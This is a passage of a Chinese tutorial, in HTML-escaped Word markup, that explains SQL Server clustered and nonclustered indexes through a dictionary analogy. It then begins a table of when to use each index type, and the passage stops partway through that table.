&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;实际上，您可以把索引理解为一种特殊的目录。微软的&lt;SPAN&gt;SQL SERVER&lt;/SPAN&gt;提供了两种索引：聚集索引（&lt;SPAN&gt;clustered index&lt;/SPAN&gt;，也称聚类索引、簇集索引）和非聚集索引（&lt;SPAN&gt;nonclustered index&lt;/SPAN&gt;，也称非聚类索引、非簇集索引）。下面，我们举例来说明一下聚集索引和非聚集索引的区别：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;其实，我们的汉语字典的正文本身就是一个聚集索引。比如，我们要查“安”字，就会很自然地翻开字典的前几页，因为“安”的拼音是“&lt;SPAN&gt;an&lt;/SPAN&gt;”，而按照拼音排序汉字的字典是以英文字母“&lt;SPAN&gt;a&lt;/SPAN&gt;”开头并以“&lt;SPAN&gt;z&lt;/SPAN&gt;”结尾的，那么“安”字就自然地排在字典的前部。如果您翻完了所有以“&lt;SPAN&gt;a&lt;/SPAN&gt;”开头的部分仍然找不到这个字，那么就说明您的字典中没有这个字；同样的，如果查“张”字，那您也会将您的字典翻到最后部分，因为“张”的拼音是“&lt;SPAN&gt;zhang&lt;/SPAN&gt;”。也就是说，字典的正文部分本身就是一个目录，您不需要再去查其他目录来找到您需要找的内容。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;我们把这种正文内容本身就是一种按照一定规则排列的目录称为“聚集索引”。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;如果您认识某个字，您可以快速地从自动中查到这个字。但您也可能会遇到您不认识的字，不知道它的发音，这时候，您就不能按照刚才的方法找到您要查的字，而需要去根据“偏旁部首”查到您要找的字，然后根据这个字后的页码直接翻到某页来找到您要找的字。但您结合“部首目录”和“检字表”而查到的字的排序并不是真正的正文的排序方法，比如您查“张”字，我们可以看到在查部首之后的检字表中“张”的页码是&lt;SPAN&gt;672&lt;/SPAN&gt;页，检字表中“张”的上面是“驰”字，但页码却是&lt;SPAN&gt;63&lt;/SPAN&gt;页，“张”的下面是“弩”字，页面是&lt;SPAN&gt;390&lt;/SPAN&gt;页。很显然，这些字并不是真正的分别位于“张”字的上下方，现在您看到的连续的“驰、张、弩”三字实际上就是他们在非聚集索引中的排序，是字典正文中的字在非聚集索引中的映射。我们可以通过这种方式来找到您所需要的字，但它需要两个过程，先找到目录中的结果，然后再翻到您所需要的页码。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;我们把这种目录纯粹是目录，正文纯粹是正文的排序方式称为“非聚集索引”。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;通过以上例子，我们可以理解到什么是“聚集索引”和“非聚集索引”。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;进一步引申一下，我们可以很容易的理解：每个表只能有一个聚集索引，因为目录只能按照一种方法进行排序。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;（二）何时使用聚集索引或非聚集索引&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;下面的表总结了何时使用聚集索引或非聚集索引（很重要）。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;TABLE class=MsoTableList5 style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-border-alt: solid black .75pt; mso-yfti-tbllook: 480; mso-border-insideh: .75pt solid black" cellSpacing=0 cellPadding=0 border=1&gt;

&lt;TR style="mso-yfti-irow: -1; mso-yfti-firstrow: yes"&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: black 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1.5pt solid; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black 1.5pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 5" align=center&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;动作描述&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: black 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1.5pt solid; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black 1.5pt; mso-border-top-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 1" align=center&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;使用聚集索引&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: black 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1.5pt solid; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black 1.5pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 1" align=center&gt;&lt;SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"&gt;使用非聚集索引&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="HEIGHT: 22.7pt; mso-yfti-irow: 0"&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black 1.5pt; mso-border-left-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold"&gt;列经常被分组排序&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black 1.5pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black 1.5pt; mso-border-right-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="HEIGHT: 22.7pt; mso-yfti-irow: 1"&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold"&gt;返回某范围内的数据&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;不应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="HEIGHT: 22.7pt; mso-yfti-irow: 2"&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold"&gt;一个或极少不同值&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;不应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;不应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="HEIGHT: 22.7pt; mso-yfti-irow: 3"&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold"&gt;小数目的不同值&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;不应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="HEIGHT: 22.7pt; mso-yfti-irow: 4"&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold"&gt;大数目的不同值&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;不应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="HEIGHT: 22.7pt; mso-yfti-irow: 5"&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold"&gt;频繁更新的列&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;不应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="HEIGHT: 22.7pt; mso-yfti-irow: 6"&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold"&gt;外键列&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="HEIGHT: 22.7pt; mso-yfti-irow: 7"&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold"&gt;主键列&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"&gt;
